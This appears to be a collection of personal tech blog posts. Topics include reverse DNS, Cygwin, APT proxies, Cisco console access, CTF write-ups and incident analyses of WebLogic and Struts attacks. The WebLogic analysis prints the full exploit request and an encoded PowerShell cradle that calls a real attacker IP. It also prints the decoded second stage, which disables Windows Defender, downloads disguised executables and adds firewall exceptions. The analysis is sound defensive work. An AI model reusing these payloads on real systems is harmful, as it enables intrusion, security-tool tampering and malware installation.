Check a bulk of IP for reverse dns

Recently I’ve encounter list of IPs that are related to CoinHive. So I want to check for these IPs DNS. We can do that by using dig command to perform reverse DNS (rDNS).

Reverse DNS (rDNS) is a method of resolving an IP address into a domain name, just as the domain name system (DNS) resolves domain names into associated IP addresses.

I found this script at this site:

#!/bin/bash

for item
	do
		domain=$(dig -x "$item"  +short)
		if [ -n "$domain"  ] ;
			then
			echo "$item" - "$domain"
		else
			echo "$item" result is NULL
		fi
	done

Just save this code above in your Linux/*nix machine, and run this command as below:

[email protected]:~# cat ip.txt | xargs bash reverse_dns

The result should be like this:

Import & export installed Cygwin packages

Recently I’ve changed my workstation to new one. Previously I’ve installed bunch of Cygwin packages on my old workstation.

So I thought; can I somehow migrate my installed Cygwin packages from my old workstation to new workstation?

The answer is yes. Follow me along to this wonderful journey XD

First you’ll need to save list of what you have installed on your Cygwin on old workstation.
To do this, open the Cygwin terminal/console & run this command below:

grep " 1$" /etc/setup/installed.db | awk '{printf "%s%s",sep,$1; sep=","} END{print ""}' > cygwin_packages.txt

Its basically dump a list of installed Cygwin packages in your workstation & save it to text file with comma-separated.

Next, go to your Cygwin home folder (commonly locate at “C:\cygwin64\home\“), open the “cygwin_packages.txt” file that we save before & copy all the content inside the text file.

Next, at your new workstation, ensure you have downloaded the latest Cygwin installer “setup-x86.exe” (32-bit) or “setup-x86_64.exe” (64-bit).

Then, open your Windows cmd & change you directory to where you save the Cygwin installer. E.g. for my case here, I save it in my Downloads folder “C:\Users\Zam\Downloads>”.

Then, run this command below on your Windows cmd; replacing/inserting the content of cygwin_packages.txt inside the double-quote as below:

setup-x86.exe -q -P "<paste the cygwin_packages.txt here>"

You should see the Cygwin GUI opened & UAC requesting permission pop-up:

Click “Yes”, go through “Next” button & wait until the installation finished.

Analyzing Oracle WebLogic attack

Recently we received an alert from our WAF related to an attack towards out environment.
Further review of the alert found that the attacker is using Oracle WebLogic RCE Deserialization Vulnerability (CVE-2018-2628).

We observed that the attacker included some sort of PowerShell command in their request:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
  <array class="java.lang.String" length="3">
    <void index="0">
      <string>cmd.exe</string>
    </void>
    <void index="1">
      <string>/c</string>
    </void>
    <void index="2">
      <string>Start /Min PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E JABPAFMAPQAoAEcAVwBtAGkAIABXAGkAbgAzADIAXwBPAHAAZQByAGEAdABpAG4AZwBTAHkAcwB0AGUAbQApAC4AQwBhAHAAdABpAG8AbgA7ACQAVwBDAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAFcAQwAuAEgAZQBhAGQAZQByAHMAWwAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwBdAD0AIgBQAG8AdwBlAHIAUwBoAGUAbABsAC8AVwBMACsAIAAkAE8AUwAiADsASQBFAFgAIAAkAFcAQwAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADEAMQAuADIAMwAwAC4AMgAyADkALgAyADIANgAvAGkAbQBhAGcAZQBzAC8AdABlAHMAdAAvAEQATAAuAHAAaABwACcAKQA7AA==</string>
    </void>
  </array>
    <void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

Seems like the PowerShell command is using Base64 encoding for obfuscation.
I use https://gchq.github.io/CyberChef/ to decode the Base64:

$OS=(GWmi Win32_OperatingSystem).Caption;$WC=New-Object Net.WebClient;$WC.Headers['User-Agent']="PowerShell/WL+ $OS";IEX $WC.DownloadString('http://111.230.229.226/images/test/DL.php');

Seems like it tried to fetch DL.php file at http://111.230.229.226/images/test/DL.php.
Lets try grab that file:

[email protected]:~# wget http://111.230.229.226/images/test/DL.php
--2018-04-29 19:50:27--  http://111.230.229.226/images/test/DL.php
Connecting to 111.230.229.226:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2018-04-29 19:50:28 ERROR 404: Not Found.

Hmm.. Error 404..? Is it true error?
Or did we missing something here?

Lets analyze the command carefully:

PS C:\Users\Fossil\Desktop> $OS=(GWmi Win32_OperatingSystem).Caption;
PS C:\Users\Fossil\Desktop> $WC=New-Object Net.WebClient;
PS C:\Users\Fossil\Desktop> $WC.Headers['User-Agent']="PowerShell/WL+ $OS";
PS C:\Users\Fossil\Desktop>
PS C:\Users\Fossil\Desktop> echo $OS;
Microsoft Windows 7 Ultimate
PS C:\Users\Fossil\Desktop> echo $WC.Headers['User-Agent'];
PowerShell/WL+ Microsoft Windows 7 Ultimate

We can see the attacker is assigning/using specific User-Agent when fetching the file.
That’s why when we try to wget/curl the file directly, it failed.

So what we have to do is we set the User-Agent exactly same when fetching the file.
In this case, I’m using curl to fetch the file:

[email protected]:~# curl -v -H User-Agent: &quot;PowerShell/WL Microsoft Windows 7 Professional&quot; http://111.230.229.226/images/test/DL.php
*   Trying 111.230.229.226...
* Connected to 111.230.229.226 (111.230.229.226) port 80 (#0)
> GET /images/test/DL.php HTTP/1.1
> Host: 111.230.229.226
> Accept: */*
> User-Agent: PowerShell/WL Microsoft Windows 7 Professional
>
&lt; HTTP/1.1 200 OK
&lt; Date: Sun, 29 Apr 2018 11:50:23 GMT
&lt; Server: Apache/2.2.21 (Win32) PHP/5.3.10
&lt; X-Powered-By: PHP/5.3.10
&lt; Content-Length: 2539
&lt; Content-Type: text/html
&lt;
$EncodedCompressedFile = '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';$DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress);$UncompressedFileBytes = New-Object Byte[](3948);$Null=$DeflatedStream.Read($UncompressedFileBytes, 0, 3948);([Text.Encoding]::ASCII.GetString($UncompressedFileBytes)) | IEX;

Now see? Previously if the fetch the file without the User-Agent, it will failed/error 404.
Again, we see another set off Base64 encoding here.

But what is it?
I’m not an expert to explain this, but TL;DR, it convert Base64 encoded string to a memory stream and executes it. I guess ¯_(ツ)_/¯

So, to see what happen if this command executes, we can use this Python script below to decode it.
With this script, we can basically see what are those Base64 are doing.

Take the Base64 at above, paste it at encoded parameters as example below:

#!/usr/bin/python
import base64
import zlib

encoded = "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"

# [Convert]::FromBase64String
decoded = base64.b64decode(encoded)

# IO.Compression.DeflateStream
# 15 is the default parameter, negative makes it ignore the gzip header
decompressed = zlib.decompress(decoded, -15)

print decompressed

Save the script and run the Python script as command below:

C:\Users\Fossil\Desktop>python decodeb64.py > output_DL_php.txt

This will save all the output from your CMD to text file for easier to ready.
P/S : Your can rename output_DL_php.txt to any filename that you want.

Let’s see whats inside the text file:

$MutexName = 'Global\20180419'
$bCreated = $Flase
$hMutex = New-Object System.Threading.Mutex($true,$MutexName,[Ref]$bCreated)
if ($bCreated)
{
        Start-Sleep 180
        $hMutex.ReleaseMutex()
}
else
{
        Exit
}


#Update
$WmiName = 'root\cimv2:PowerShell_Command'
$mPId=$Null;$mPId = ([WmiClass] $WmiName).Properties['mPId'].Value
if ($mPId -ne $Null) {
        Write-Host "[i] Old PId: $mPId"
        Get-Process -Id $mPId -ErrorAction SilentlyContinue | Stop-Process -Force
}
$WmiName = 'root\default:PowerShell_Command'
$mPId=$Null;$mPId = ([WmiClass] $WmiName).Properties['mPId'].Value
if ($mPId -ne $Null) {
        Write-Host "[i] Old PId: $mPId"
        Get-Process -Id $mPId -ErrorAction SilentlyContinue | Stop-Process -Force
}


$SrvName = "ZhuDongFangYu", "NisSrv","MsMpSvc","WdNisSvc","WinDefend", "MBAMService","a2AntiMalware"
foreach ($Srv in $SrvName)
{
#       Set-Service -Name $Srv -StartupType Disabled -ErrorAction SilentlyContinue
#       Stop-Service -Name $Srv -Force -ErrorAction SilentlyContinue
        $Null = SC.exe Config $Srv Start= Disabled
        $Null = SC.exe Stop $Srv
}
$ProName = "ZhuDongFangYu", "MsMpEng","MpCmdRun","msseces","NisSrv","MSASCui", "mbamtray","mbamservice","a2service"
foreach ($Pro in $ProName)
{
        Get-Process -Name $Pro -ErrorAction SilentlyContinue | Stop-Process -Force
}

$Null = Reg.exe Add "HKLM\SoftWare\Microsoft\Windows Defender\SpyNet" /v "SpyNetReporting" /t REG_DWORD /d 0 /f
$Null = Reg.exe Add "HKLM\SoftWare\Microsoft\Windows Defender\Exclusions\Paths" /v "$Env:WinDir" /t REG_DWORD /d 0 /f
$Null = Reg.exe Add "HKLM\SoftWare\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
$Null = Reg.exe Add HKLM\System\CurrentControlSet\Services\NisSrv /v Start /t REG_DWORD /d 4 /f
$Null = Reg.exe Add HKLM\System\CurrentControlSet\Services\MsMpSvc /v Start /t REG_DWORD /d 4 /f
$Null = Reg.exe Add HKLM\System\CurrentControlSet\Services\WdNisSvc /v Start /t REG_DWORD /d 4 /f
$Null = Reg.exe Add HKLM\System\CurrentControlSet\Services\WinDefend /v Start /t REG_DWORD /d 4 /f


$Script = "Start-Sleep (Get-Random -Min 60 -Max 300);IEX (New-Object Net.WebClient).DownloadString('http://111.230.229.226/images/def/DL.ps1');";
$ScriptBytes = [System.Text.Encoding]::Unicode.GetBytes($Script);
$EncodedScript = [System.Convert]::ToBase64String($ScriptBytes);

$Path = "$Env:SystemRoot\System32\WindowsPowerShell\v1.0\PowerShell.exe"
$Argv = "-NoP -NonI -EP ByPass -W Hidden -E $EncodedScript"
$Process = Start-Process -FilePath $Path -ArgumentList $Argv -WindowStyle Hidden -PassThru
$ProcessId = $($Process.Id)
if ($ProcessId -ne $Null)
{
        Write-Host "[+] Neutrino PS Process Id is $ProcessId"
}
else
{
        Write-Host "[-] Neutrino PS Process Id is NULL"
}


#Downloader
$x86 = "http://111.230.229.226/images/test/x86.exe"
$x64 = "http://111.230.229.226/images/test/x64.exe"
$File = "$Env:WinDir\Temp\lsass.eXe"
$WC = New-Object System.Net.WebClient


$Dir = "$Env:WinDir\Temp";
if (!(Test-Path $Dir)){ New-Item $Dir -Type Directory; }
if (!((Get-Item $File -Force) -is [IO.FileInfo])) { Remove-Item $File -Force -ErrorAction SilentlyContinue }


$OS = (Get-WmiObject Win32_ComputerSystem).SystemType
$SO = (Get-WmiObject Win32_OperatingSystem).OSArchitecture
if (($OS -Match '64') -Or ($SO -Match '64'))
{
        Write-Host "[i] OS 64-bit"
        $WC.DownloadFile($x64, $File)
        if ((Test-Path $File) -eq $False)
        {
                $WC.DownloadFile("http://111.230.229.226/images/test/x64_VMP.exe", $File)
        }
}
else
{
        Write-Host '[i] OS 32-bit'
        $WC.DownloadFile($x86, $File)
        if ((Test-Path $File) -eq $False)
        {
                $WC.DownloadFile("http://111.230.229.226/images/test/x86_VMP.exe", $File)
        }
}

if (Test-Path $File)
{
        Write-Host '[+] Downloaded'
        $Null = NetSH Firewall Add AllowedProgram $File "Windows Update" Enable
        IEX $WC.DownloadString('http://111.230.229.226/images/test/WMI.ps1')
}
else
{
        Write-Host '[-] Fail To Download'
}

As you can see, the command is doing bunch of stuff that I’m lazy to explain 😉
Hope you enjoy reading this.

IOCs:
017eba5231a63782bdd1d7c8beff5b0b *DL.php
bee2f2223729166c264037a82fa4fed3 *DL.ps1
b5065178c574936a1b7e477929ba1075 *lsass.eXe
1dd6bc7549913b64595540bc77059415 *Neutrino.ps1
dfcb19949d55d35e5d3f1dd569218ce4 *WMI.ps1
ec5e6097038be59e7311f9de8d6354d6 *x64.exe
35cb2b208085bcb5b93ea6420f01c92b *x64_VMP.exe
2129a8287215558e5870c7cc89d0a8fe *x86.exe
c11dbd4777d6ec2b434c424e201c0e6b *x86_VMP.exe

References:
https://gist.githubusercontent.com/strazzere/5faa709a3db9e1dcf3b5/raw/42b98a918bac3725934bcfa3087ac5936d9b88d1/decrypt.py
http://threat.tevora.com/5-minute-forensics-decoding-powershell-payloads/

Wargames 2017 – Challenge 12 : ezfile sharing

Challenge 12 : ezfile sharing

question for challenge 12

and the hint for this challenge:

hint for challenge 12

one of our teammate was fuzzing around the website and found “.git” folder.
seems related to the hint.
we try to browse the folder/path:

.git folder/path

as a “layman” person (please guys, don’t try this at home. or any other place. wkwkwkwk), I’ve gone too far by downloading all the git folder (recursively):

download all git folder content

lets see what git -help can provide us with info:

git help menu

hmm.. lets see if “git show” can provide any clue…

and.. profit! XD

so the flag is: “wgmy:{AdminGitGudPlease}”

Wargames 2017 – Challenge 9 : unreachable

the question is:
“The critical server seems unreachable. The sysadmin tries to identify the cause of it..but weird..he is doing it backwardly.”
http://files.wargames.my/2/p100.7z

question for challenge 2

question for challenge 2

and the hint given to us:

hint for challenge 2

hint for challenge 2

so… RFC 792 – something related to ICMP/ping yada yada
so we open the pcap file in Wireshark, view only ICMP protocol:

open pcap using wireshark & then filter ICMP only

we can see ICMP traffic involving 2 IPs; 192.168.1.8 & 192.168.1.10
after digging around, I find out there is some “unique differences” at ping identification number; offset 0010. this involving IP 192.168.1.8.

lets use tshark to see it clearly:

use tshark & grep offset 0010

as noted in the hint above;
“he is tracing backwardly.”

the flag is: flag_is_p!ngp0ng~
but actually…. the flag is: p!ngp0ng~

Shell hiding in image files

One day, we noticed strange GET request towards our JBoss server:

From the request above, you’ll quickly noticed that this attack leveraging Apache Struts vulnerability from CVE-2017-5638.

The request tried to execute command below:

“-O” : writes the documents to file.
“-” : if is used as file, documents will be printed to standard output, disabling link conversion.
“-q” : quiet (no output)

As you see, it tried to fetch image (jpeg file) from 91.230.47.41. Seems normal right?
We fetch the file & take a look at the jpg file:

ASCII?? Not JPEG?? hmm..
Here’s whats inside the “logo.jpg” file:

We noticed there are several other file fetched; possibly a config file & bin file.
Let’s fetch those file!

Here is the config file:
http://91.230.47.41/pics/kworker.conf

Not sure it is. Maybe bin file to run a process:
http://91.230.47.41/pics/kworker

Lets see if the file is packed:

Yup. So lets unpacked the file using UPX:

http://91.230.47.41/pics/kworker_na

Overall, looks like the attacker want to hack our servers & turn it into his own crypto currency mining machine.
Typical behavior of attack we see in this time where the crypto currency is rising. People hack to make profit. 🙂

Here the MD5 for file above:

Configuring proxy for APT in Ubuntu

Recently, I have a problem where when I tried to update Ubuntu package via apt-get, it shows HTTP 401 proxy error related.
Just a note, I’m running the VM using my office network which has a proxy servers.

From this site;

APT configuration file method
This method uses the apt.conf file which is found in your /etc/apt/ directory. This method is useful if you only want apt-get (and not other applications) to use a http-proxy permanently.
On some installations there will be no apt-conf file set up. This procedure will either edit an existing apt-conf file or create a new apt-conf file.
gksudo gedit /etc/apt/apt.conf
Add this line to your /etc/apt/apt.conf file (substitute your details for yourproxyaddress and proxyport).
Acquire::http::Proxy “http://username:[email protected]:proxyport”;
Save the apt.conf file.

References :
http://askubuntu.com/questions/257290/configure-proxy-for-apt
http://askubuntu.com/questions/543616/why-does-add-apt-repository-now-fail-to-retrieve-keys-behind-my-proxy-server-bu

Configure Cisco switch from Mac OS X through console port

Recently, I was searching for rollover cable that use to connect your PC/laptop to your switch via console port. It took me for a while searching this kind of cable in Low Yat Plaza, KL. Here, you can find variety of electronics stuff from PC hardware to servers stuffs.

But, it was hard for me to find this cable. After several visit to Low Yat, I managed to find the cable together with DB9 to USB converter. As you know, the rollover cable is using serial to ethernet cable. So, this post will guide you on how to install the driver and connect your rollover cable to your switch from Mac OS X.

So, for the first step, you should have rollover cable that looks like this:

Rollover to DB9/serial cable

Rollover to DB9/serial cable

And the DB9 to USB 2.0 converter. The one that I’m using is like this:
http://www.vztec.com.my/?sec=product&type=connect&sub=5&id=13776589936053

For my Mac OS X version, I’m using Mac OS X Yosemite 10.10.5 on MacBook Pro (13-inch, Early 2011). You’ll need the driver for the cables that you can download at here:
http://www.prolific.com.tw/UserFiles/files/PL2303_MacOSX_1_6_1_20160309.zip

After you’ve done downloading and extracting the driver, just click at .pkg file and proceed to install the driver. Reminder, make sure you restarted you machine after installing the driver in order for system to take effect:

DB9 to USB Converter driver

DB9 to USB Converter driver

Then, connect/plug-in the rollover cable to DB9 to USB converter. Then connect the converter USB to you Mac. After all has been connected, click on Apple logo on top left menu bar, click About This Mac, on Overview tabs, click System Report. Ensure that you DB9 converter is connected:

Mac OS X System Info

Mac OS X System Info

After restart, you can verify if the driver has successfully installed and loaded to the system by using this command:

or

Now finally, you need an application which will talk to the serial port. We’ll using Terminal app on Mac OS X. On Mac, the file which maps to the port is /dev/cu.usbserial. Once all the cable has been connected, run this command to start connecting to you switch: